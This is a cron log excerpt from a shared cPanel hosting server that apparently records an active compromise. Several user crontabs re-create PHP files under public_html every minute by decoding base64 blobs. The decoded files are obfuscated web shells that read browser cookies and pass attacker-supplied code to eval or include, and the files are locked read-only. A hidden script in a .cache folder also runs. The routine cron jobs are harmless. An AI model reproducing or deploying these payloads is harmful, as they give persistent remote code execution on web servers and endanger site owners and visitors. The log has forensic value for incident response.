Mar  2 03:02:01 medusa CROND[27016]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:02:01 medusa CROND[27020]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:02:01 medusa CROND[27022]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:02:01 medusa CROND[27023]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:02:01 medusa CROND[27024]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:02:01 medusa CROND[27025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:02:01 medusa CROND[27043]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:02:01 medusa CROND[27044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:02:01 medusa CROND[27045]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:02:01 medusa CROND[27046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:02:01 medusa CROND[27048]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:02:01 medusa CROND[27049]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:02:01 medusa CROND[27086]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:03:01 medusa CROND[1614]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:03:01 medusa CROND[1616]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:03:01 medusa CROND[1619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:03:01 medusa CROND[1618]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:03:01 medusa CROND[1623]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:03:01 medusa CROND[1624]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:03:01 medusa CROND[1625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:03:01 medusa CROND[1626]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:03:01 medusa CROND[1627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:03:01 medusa CROND[1628]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:03:01 medusa CROND[1629]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:03:01 medusa CROND[1630]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:04:02 medusa CROND[9688]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:04:02 medusa CROND[9689]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:04:02 medusa CROND[9690]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:04:02 medusa CROND[9693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:04:02 medusa CROND[9694]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 